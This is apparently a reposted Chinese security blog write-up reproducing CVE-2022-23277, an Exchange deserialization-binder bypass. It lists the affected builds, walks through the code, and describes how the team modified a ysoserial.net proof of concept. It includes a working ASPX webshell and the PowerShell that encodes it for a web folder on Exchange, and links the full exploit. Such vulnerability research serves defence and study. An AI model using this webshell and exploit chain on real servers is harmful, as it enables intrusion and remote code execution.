长亭百川云 - 文章详情

DotNet安全-CVE-2022-23277漏洞复现

7bits安全团队

51

2024-07-13

DotNet安全-CVE-2022-23277漏洞复现

引言

该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过,从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。

影响范围

  def cve_2022_23277_vuln_builds  
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019  
    [  
      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU  
      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU  
      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU  
      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU  
      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU  
      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU  
      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU  
      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU  
    ]  
  end

大约为21年底到22年初的exchange2016及2019.

基础知识

正确使用SerializationBinder

2020年微软修改了对SerializationBinder描述:

对《DotNet安全-CVE-2021-42321漏洞复现》中SerializationBinder稍加修改:

using System;  
using System.Collections.Generic;  
using System.Linq;  
using System.Text;  
using System.Threading.Tasks;  
using System.IO;  
using System.Runtime.Serialization;  
using System.Runtime.Serialization.Formatters.Binary;  
   
   
namespace deserialDemo  
{  
    class Program  
    {  
        static void Main(string[] args)  
        {  
            BinaryFormatter binaryFormatter = new BinaryFormatter();  
            MemoryStream memoryStream = new MemoryStream();  
            RCE calc = new RCE("calc");  
            binaryFormatter.Serialize(memoryStream, calc);  
   
            memoryStream.Position = 0;  
            binaryFormatter.Binder = new MyBinder();  
            object v = binaryFormatter.Deserialize(memoryStream);  
            Console.WriteLine(v);  
            Console.ReadKey();  
   
        }  
    }  
    [Serializable]  
    class RCE  
    {  
        public string cmd;  
   
        public RCE(string cmd)  
        {  
            this.cmd = cmd;  
        }  
   
        public override string ToString()  
        {  
            return $"exec cmd:{cmd}";  
        }  
    }  
    class MyBinder : SerializationBinder  
    {  
        public override Type BindToType(string assemblyName, string typeName)  
        {  
            Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");  
            Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));  
   
            if (typeToDeserialize.Equals(typeof(RCE)))  
            {  
                return null;  
                //throw new Exception("can't deseriliza rce class.");  
            }  
            return typeToDeserialize;  
        }  
    }  
}

反序列化依旧被执行:

SerializationBinder的正确用法是判断类型不符合就直接抛出异常。

从代码层面分析成因

BinaryFormatter实现SerializationBinder的功能会调用:System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string):

如果定义的BindToType返回null,则进入FastBindToType逻辑:

FormatterAssemblyStyle.Simple默认为真, 调用System.Runtime.Serialization.Formatters.Binary.ObjectReader.ResolveSimpleAssemblyName

不管怎么样都会返回assem,之后进入ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type):

最终会根据TypeName获取到程序集合。也就是说,不管BindToType的结果如何(只要不抛出异常),只要TypeName正常恶意类始终会被加载上。

SINK

Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.BindToType(string, string) :

如果type获取失败即=null,不会进行ValidateTypeToDeserialize,反序列化的controllist会完全失效。跟到Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.LoadType(string, string):

发现从多种方式获取Type,如果获取不到最终就会返回null。通过前面的内容我们知道返回null之后会调用FastBindToType函数,最终根据FullTypeName获取到Type。

SOURCE

与CVE-2021–42321一样,只不过要被反序列化的数据发生改变。这里使DataSet的gadgats,通过重写GetObjectData函数对类的AssemblyName属性进行修改:

让AssemblyName是错误的,保证BindToType返回null。让FullTypeName为正常的,保证FastBindToType能正常加载。

如下图:

FastBindToType最终返回了我们要的类型System.Data.DataSet:

最终可以成功执行:

修改POC

DataSetTypeSpoofGenerator最终调用ObjectDataProviderGenerator.cs中的Generate方法执行命令,下图为通过ObjectDataProvider执行命令的代码:

通过ObjectDataProvider我们可以轻松调用Process.start()启动新进程进而执行命令。尝试修改这部分代码为写入文件时出现问题:

c#中实现文件写入主要有两个办法:

方法1通过File.Write()等函数进行写入;方法二是通过StreamWriter.WriteLine()进行写入。

方法1的问题是File类为一个静态类,无法获取类的实例化对象,也不能通过反射获取到实例,所以ObjectInstance参数无法获取到。

方法2的问题是StreamWriter使用的时候通过一个方法无法完成字符串的写入,因为还要关闭流,如下:

using (StreamWriter sw = new StreamWriter (@"c:\1.txt",true,Encoding.UTF8))  
      {  
        for (int i = 0; i < 100; i++)  
        {  
          sw.WriteLine(i);  
        }  
      }

这里采用using,类似于python的with open,实际需要关闭,如下:

public virtual void SaveData()  
{  
   string arqName = string.Format("Person{0}" + ".txt", Id);  
   StreamWriter file = new StreamWriter(arqNome);  
   file.WriteLine("ID: " + Id);  
   file.WriteLine("DOB: " + dOB);  
   file.WriteLine("Name: " + name);  
   file.WriteLine("Age: " + age);  
   file.Flush();  
   file.Close();       
}

那么只好使用不那么好用的方式-通过执行命令写入。这里使用powershell排除执行命令特殊字符转义的问题,下图为写入webshell样本:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

使用powershell进行编码:

$file=Get-Content -Path 1.txt  
$MyScript = "Set-Content -Path 'C:\inetpub\wwwroot\aspnet_client\1.aspx' -Value '$file'"  
$MyEncodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($MyScript))  
$MyEncodedScript

在Burp增加认证:

利用成功写入webshell:

完整的POC及修改过的ysoerial.net

https://github.com/7BitsTeam/CVE-2022-23277

参考

https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html

https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html

https://referencesource.microsoft.com/#mscorlib/system/runtime/serialization/formatters/binary/binaryformatter.cs

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2